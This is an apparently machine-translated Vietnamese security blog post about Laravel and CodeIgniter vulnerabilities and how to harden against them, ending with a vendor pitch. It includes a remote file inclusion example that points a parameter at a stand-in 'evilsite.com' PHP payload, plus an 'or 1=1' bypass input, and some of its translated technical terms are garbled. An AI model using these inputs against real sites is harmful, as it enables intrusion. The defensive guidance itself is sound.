Computer >> Máy Tính >  >> Kết nối mạng >> An ninh mạng

Trang web Laravel / CodeIgniter bị tấn công? Những lỗ hổng này có thể là lý do

Laravel và CodeIgniter là hai framework PHP mã nguồn mở phổ biến được sử dụng để xây dựng trang web. Tuy nhiên, việc triển khai các trang web sử dụng các khuôn khổ này không làm cho chúng an toàn - đó là các phương pháp phát triển an toàn mới là vấn đề quan trọng. Chèn SQL trong CodeIgniter và Laravel là một trong những chủ đề bảo mật phổ biến nhất đang thịnh hành trên các diễn đàn trợ giúp. Ngoài SQLi, các hoạt động phát triển không an toàn cũng khiến các trang web dễ bị tấn công XSS, CSRF, RFI, v.v.

Ví dụ về các trang web bị tấn công bằng Laravel / CodeIgniter

Các cuộc tấn công phổ biến và rộng rãi như tiêm SQL trong CodeIgniter hoặc Laravel có thể xâm phạm trang web. Một số lượng lớn người dùng bị các cuộc tấn công tương tự có thể được tìm thấy yêu cầu trợ giúp trên diễn đàn cộng đồng Laravel hoặc diễn đàn cộng đồng CodeIgniter - các ví dụ sau:

Trang web Laravel / CodeIgniter bị tấn công? Những lỗ hổng này có thể là lý do Trang web Laravel / CodeIgniter bị tấn công? Những lỗ hổng này có thể là lý do

Các triệu chứng của CodeIgniter hoặc Laravel Hacks

  • Bạn tìm thấy các trang lừa đảo Laravel hoặc CodeIgniter được thiết kế để lấy cắp thông tin nhạy cảm trên trang web của bạn.
  • Người dùng của bạn phàn nàn về việc bị chuyển hướng đến các trang web độc hại.
  • Bạn nhận thấy rằng nội dung vô nghĩa xuất hiện trên trang web Laravel hoặc CodeIgniter của bạn do Hack từ khóa hoặc Hack dược phẩm của Nhật Bản, v.v.
  • Trang web Laravel hoặc CodeIgniter của bạn trở nên rất chậm và hiển thị thông báo lỗi.
  • Trong khi sử dụng dịch vụ lưu trữ của bên thứ ba, thông báo "Tài khoản của bạn đã bị tạm ngưng!" sẽ xuất hiện.
  • Trang web Laravel hoặc CodeIgniter của bạn bị các công cụ tìm kiếm đưa vào danh sách đen.
  • Nhật ký lỗi hiển thị một số cuộc tấn công nhất định như SQL Injection trong CodeIgniter trên trang web của bạn.
  • Nhật ký hiển thị thông tin đăng nhập vào trang web của bạn từ các IP từ xa.
  • Quản trị viên giả mạo mới xuất hiện trong cơ sở dữ liệu đăng nhập của trang web của bạn.

Các lỗ hổng và lỗ hổng phổ biến

1) Tấn công Injection trong CodeIgniter / Laravel

a) Chèn SQL

SQL Injection trong CodeIgniter là một cuộc tấn công rất phổ biến, phổ biến rộng rãi. Như tên cho thấy, cuộc tấn công nhắm vào cơ sở dữ liệu của máy chủ. Khai thác SQL Injection trong Codeigniter, kẻ tấn công có thể:

  • Truy xuất dữ liệu từ cơ sở dữ liệu.
  • Chỉnh sửa nội dung của cơ sở dữ liệu. Họ cũng có thể bỏ toàn bộ cơ sở dữ liệu!
  • Trong một số trường hợp, chúng có thể nhận được một trình bao đảo ngược.
  • Bỏ qua xác thực bằng cách sử dụng đầu vào như or 1=1 .

b) Chèn mã PHP

PHP Code Injection là một loại lỗ hổng phổ biến khác cho phép kẻ tấn công thực thi mã trên trang web Laravel / CodeIgniter. Tuy nhiên, nó khác với tiêm lệnh theo nghĩa là kẻ tấn công chỉ có thể thực hiện các lệnh của ngôn ngữ cụ thể đó.

Chèn lệnh cho phép kẻ tấn công thực hiện các lệnh thông qua một trình bao ngược lại. Ví dụ:tham số dễ bị tấn công có thể được cung cấp cùng với một liên kết đến một tệp độc hại có chứa mã PHP sẽ được thực thi, như https://testsite.com/?page=https://evilsite.com/evilcode.php .

Tệp này có thể chứa các hàm như phpinfo() , có thể được sử dụng để lấy thông tin.

2) Kịch bản trang web chéo

Lỗ hổng XSS xảy ra trong các trang web Laravel / CodeIgniter do thiếu quá trình khử trùng đầu vào. Cả hai khung đều có các chức năng bảo mật được thiết kế đặc biệt để tránh các cuộc tấn công này. Bằng cách khai thác một cuộc tấn công XSS, những kẻ tấn công có thể:

  • Lừa đảo người dùng để lấy cắp cookie và dữ liệu phiên nhạy cảm khác.
  • Chuyển hướng người dùng đến một trang web độc hại.
  • Bỏ qua chính sách cùng nguồn gốc.

3) Giả mạo yêu cầu trên nhiều trang web

Cuộc tấn công này nhằm mục đích lừa người dùng thực hiện các hành động không mong muốn. Tuy nhiên, nó chỉ có thể được sử dụng để thao tác dữ liệu (ví dụ như xóa biểu mẫu) chứ không thể ăn cắp hoặc đọc nó. Trong trường hợp xấu nhất, nếu nạn nhân là quản trị viên, toàn bộ ứng dụng có thể bị phá hủy. Cuộc tấn công này sử dụng các thủ thuật kỹ thuật xã hội để dụ nạn nhân nhấp vào liên kết thực hiện các lệnh như xóa tài khoản trong nền.

Ngoài các lỗ hổng phổ biến này, đây là một số lỗ hổng dành riêng cho CodeIgniter và Laravel:

4) Các lỗ hổng đã biết trong CodeIgniter

  • Nâng cấp Đặc quyền (CVE-2020-10793):
    CodeIgniter thông qua phiên bản 4.0.0 cho phép những kẻ tấn công từ xa có được đặc quyền thông qua ID Email được sửa đổi cho trang “Chọn vai trò của người dùng”.

  • Cố định phiên (CVE-2018-12071):
    Sự cố Khắc phục phiên tồn tại trong CodeIgniter trước phiên bản 3.1.9 do session.use_strict_mode trong Thư viện phiên đã bị xử lý sai.

  • Vấn đề về pháp nhân bên ngoài XML (CVE-2015-3907):
    CodeIgniter Rest Server (hay còn gọi là codeigniter-restserver) 2.7.1 cho phép tấn công XXE.

5) Các lỗ hổng đã biết trong Laravel

  • Chế độ gỡ lỗi:Thực thi mã từ xa (CVE-2021-3129 )
    Lỗ hổng RCE đã được phát hiện trong laravel CMS (phiên bản Laravel <=v8.4.2 vào cuối tháng 11 năm 2020. (nguồn)

  • Hiển thị Thông tin (CVE-2020-13909):
    Trang Ignition trước phiên bản 2.0.5 dành cho Laravel xử lý sai các hình cầu, _get, _post, _cookie và _env. Điều này cho phép kẻ tấn công từ xa có quyền truy cập vào thông tin nhạy cảm tiềm ẩn.

  • Hủy đăng ký (CVE-2019-9081):
    Thành phần Illuminate của Laravel Framework 5.7.x có lỗ hổng giải mã có thể dẫn đến thực thi mã từ xa nếu nội dung có thể kiểm soát được, liên quan đến phương thức __destruct của lớp PendingCommand trong PendingCommand.php.

Trang web của bạn sử dụng Laravel hoặc CodeIgniter có bị tấn công không? Gửi tin nhắn cho chúng tôi trên tiện ích trò chuyện.

Bảo vệ CodeIgniter / Trang web Laravel của bạn

Tránh SQL Injection trong CodeIgniter

CodeIgniter đi kèm với rất nhiều tính năng bảo mật. Một số trong số chúng bao gồm các chức năng và thư viện để tránh SQL injection. Dưới đây là ba cách bạn có thể sử dụng các tính năng này để tránh bị tấn công:

1. Thoát truy vấn trong CodeIgniter

Việc thoát dữ liệu trước khi gửi đến ứng dụng PHP sẽ làm sạch nó. Đây là một trong những quy tắc bảo mật phải được tuân thủ thường xuyên. Việc thoát truy vấn có thể được hoàn thành thông qua ba phương pháp:

  1. $ this-> db-> Escape (): Xác định kiểu dữ liệu trước khi thoát
  2. $ this-> db-> Escape_str (): Không xác định được kiểu dữ liệu, chỉ cần thoát khỏi nó.
  3. $ this-> db-> Escape_like_str (): Có thể được sử dụng với các điều kiện.

Để có ví dụ, hãy xem đoạn mã được cung cấp bên dưới.

<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>

Trong mã này, hàm $ this-> db-> Escape () đầu tiên xác định kiểu dữ liệu để chỉ thoát khỏi dữ liệu chuỗi. Nó cũng tự động thêm các dấu ngoặc kép xung quanh dữ liệu đầu vào. Điều này ngăn chặn SQL Injection trong CodeIgniter.

2. Truy vấn ràng buộc trong Codeigniter

Ngoài việc làm sạch đầu vào, các truy vấn ràng buộc cũng có thể đơn giản hóa mã trong trang web CodeIgniter. Phương pháp này cho phép hệ thống đặt các truy vấn, do đó giảm độ phức tạp cho nhà phát triển. Ví dụ:hãy xem đoạn mã được cung cấp bên dưới:

<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', 'admin@wsxdn.com'));?>

Tại đây, bạn có thể nhận thấy một số dấu chấm hỏi thay vì giá trị ở dòng đầu tiên. Do ràng buộc truy vấn, các dấu hỏi này được thay thế từ các giá trị trong mảng ở dòng thứ hai. Trong ví dụ trước, chúng ta đã thấy truy vấn thủ công thoát. Ở đây, phương pháp này hoàn thành nó một cách tự động, do đó dừng SQL Injection trong CodeIgniter.

3. Bản ghi lớp hoạt động trong CodeIgniter

Tính năng ghi hoạt động của CodeIgniter cho phép chúng tôi thực hiện hoạt động cơ sở dữ liệu với các dòng mã hoặc tập lệnh tối thiểu. Vì nó là một chức năng của chính hệ thống, nên việc thoát truy vấn được thực hiện tự động. Ví dụ:tất cả dữ liệu của bảng có thể được truy xuất bằng một truy vấn đơn giản:

$query = $this->db->get('mytable');

Tránh SQL Injection trong Laravel

Ánh xạ quan hệ đối tượng trong Laravel sử dụng liên kết dữ liệu đối tượng PHP để làm sạch đầu vào của người dùng, do đó ngăn chặn việc đưa vào Laravel SQL. Liên kết tham số cũng tự động thêm dấu ngoặc kép, do đó ngăn chặn đầu vào nguy hiểm như hoặc 1 =1 từ việc bỏ qua xác thực.

Đây là một triển khai của một truy vấn ràng buộc được đặt tên trong Laravel:

$results = DB::select('select * from users where id = :id', ['id' => 1]);

Tránh viết mã trang web chéo trong Codeigniter

Để ngăn chặn các cuộc tấn công XSS có thể xảy ra, CodeIgniter đi kèm với một bộ lọc XSS được xây dựng trước. Trong trường hợp bộ lọc này gặp phải một yêu cầu độc hại, nó sẽ chuyển đổi nó thành thực thể ký tự của nó, do đó giữ cho ứng dụng được an toàn. Bộ lọc này có thể được truy cập qua xss_clean () phương pháp:

$data = $this->security->xss_clean($data);

Tuy nhiên, đôi khi những kẻ tấn công có thể đưa mã độc vào các tệp hình ảnh. Để ngăn chặn các cuộc tấn công như vậy, các tệp đã tải lên cũng có thể được kiểm tra bảo mật. Ví dụ:hãy xem đoạn mã được đưa ra bên dưới:

if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// file failed the XSS test
}

Mã này sẽ trả về giá trị Boolean là True nếu hình ảnh an toàn và ngược lại. Tuy nhiên, điều đáng chú ý ở đây là nên sử dụng html_escape () nếu bạn muốn lọc các giá trị thuộc tính HTML.

Tránh tạo kịch bản trang web chéo trong Laravel

Sử dụng chuỗi thoát, các cuộc tấn công XSS có thể tránh được trong các trang web Laravel. Các chuỗi thoát sẽ ngăn việc triển khai đầu vào không được vệ sinh. Trong các phiên bản Laravel> 5.1, tính năng này được bật theo mặc định. Vì vậy, khi đầu vào như

{{$ task-> names}}
được cung cấp cho các phiên bản Laravel trên 5.1, ứng dụng sẽ không dễ bị tấn công do thoát truy vấn tự động.

Giới hạn độ dài của đầu vào do người dùng cung cấp cũng có thể ngăn chặn một số kiểu tấn công XSS và SQLi. Điều này có thể được thực hiện thông qua mã HTML được cung cấp bên dưới:

<input type="text" name="task" maxlength="10">

Điều tương tự có thể được thực hiện thông qua một hàm JS. {% raw%} {{}} {% endraw%} cú pháp trong Laravel theo mặc định có thể thoát khỏi bất kỳ thực thể HTML độc hại nào được truyền vào.

Có một số thư viện được thiết kế đặc biệt để ngăn Laravel XSS. Nếu bạn sử dụng công cụ mẫu như Blade, công cụ này sẽ tự động sử dụng tính năng thoát để ngăn chặn các cuộc tấn công như vậy.

Ngăn chặn các cuộc tấn công CSRF trong CodeIgniter

Bảo vệ CSRF có thể được bật trong CodeIgniter bằng cách chỉnh sửa tệp ứng dụng / config / config.php. Chỉ cần thêm mã sau vào tệp:

$config['csrf_protection'] = TRUE;

Nếu bạn sử dụng Trình trợ giúp biểu mẫu, thì bạn có thể sử dụng hàm form_open () để chèn trường mã thông báo CSRF ẩn trong biểu mẫu theo mặc định. Cách khác để triển khai bảo vệ CSRF là sử dụng get_csrf_token_name () get_csrf_hash () . Để tham khảo, hãy xem hai đoạn mã được cung cấp bên dưới của biểu mẫu và triển khai phía máy chủ:

<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />

——————————————————————–

$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());

Tái tạo mã thông báo cũng là một phương pháp bảo mật khác để ngăn chặn các cuộc tấn công CodeIgniter CSRF. Tuy nhiên, quá trình tái tạo mã thông báo có thể gặp vấn đề vì người dùng có thể cần xác thực lại sau khi điều hướng đến các tab khác. Quá trình tái tạo mã thông báo có thể được thực hiện bằng thông số cấu hình sau:

$config['csrf_regenerate'] = TRUE;

Ngăn chặn các cuộc tấn công CSRF trong Laravel

Các mã thông báo được triển khai dưới dạng Laravel để bảo vệ khỏi các cuộc tấn công CSRF. Những mã thông báo này sau đó được gọi bằng cách sử dụng lệnh gọi AJAX có thể được tìm thấy trong mỗi biểu mẫu. Dữ liệu từ mã thông báo yêu cầu được khớp với dữ liệu được lưu trữ trên máy chủ để kiểm tra phiên của người dùng xem có bất thường hay không. Mã thông báo CSRF có thể được chuyển vào các biểu mẫu bằng cách sử dụng mã sau (Thực hiện các mẫu Blade):

<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- Other inputs can come here-->
</form>

Tuy nhiên, mã thông báo CSRF có thể được thêm theo mặc định trong khi sử dụng gói LaravelCollective / HTML.

Chặn báo cáo lỗi trong CodeIgniter

Lỗi tệp rất hữu ích trong môi trường phát triển. Tuy nhiên, trên web, lỗi tệp CodeIgniter có thể làm rò rỉ thông tin nhạy cảm tiềm ẩn cho những kẻ tấn công. Vì vậy, bạn nên tắt báo cáo lỗi.

Lỗi PHP

Để tắt báo cáo lỗi PHP, hãy sử dụng tệp index.php. Đơn giản chỉ cần chuyển 0 làm đối số cho hàm error_reporting (). Hãy xem ví dụ dưới đây để tham khảo:

error_reporting(0);

Tuy nhiên, đối với CodeIgniter phiên bản 2.0.1 trở lên, môi trường không đổi trong index.php tệp có thể được đặt thành “sản xuất” để vô hiệu hóa các đầu ra lỗi PHP.

Lỗi cơ sở dữ liệu

Lỗi cơ sở dữ liệu có thể được vô hiệu hóa bằng cách chỉnh sửa application / config / database.php tập tin. Chỉ cần đặt tùy chọn db_debug thành FALSE. Hãy xem ví dụ dưới đây để tham khảo:

$db['default']['db_debug'] = FALSE;

Lỗi ghi nhật ký

Một cách thông minh để làm điều này là chuyển các lỗi xảy ra sang các tệp nhật ký, điều này sẽ ngăn chúng hiển thị. Tùy chọn ngưỡng nhật ký của /config/config.php tệp có thể được đặt thành 1 cho mục đích này. Hãy xem ví dụ dưới đây:

$config['log_threshold'] = 1;

Sử dụng Tường lửa Ứng dụng Web cho Laravel hoặc CodeIgniter

Những kẻ tấn công liên tục tìm ra những cách mới để xâm phạm trang web của bạn. Do đó, một phương pháp bảo mật khác là sử dụng tường lửa hoặc giải pháp bảo mật nào đó. Astra Security là một trong những giải pháp bảo mật được thiết kế để đáp ứng nhu cầu linh hoạt của bạn. Chỉ cần gửi cho chúng tôi một tin nhắn trên tiện ích trò chuyện và tiến gần hơn một bước đến việc bảo mật trang web của bạn. Nhận bản demo ngay bây giờ!

Trang web Laravel / CodeIgniter bị tấn công? Những lỗ hổng này có thể là lý do

Astra Security cung cấp kiểm tra bảo mật toàn diện cho trang web Laravel hoặc CodeIgniter của bạn với hơn 80 bài kiểm tra đang hoạt động, kết hợp phù hợp giữa kiểm tra tự động và thủ công.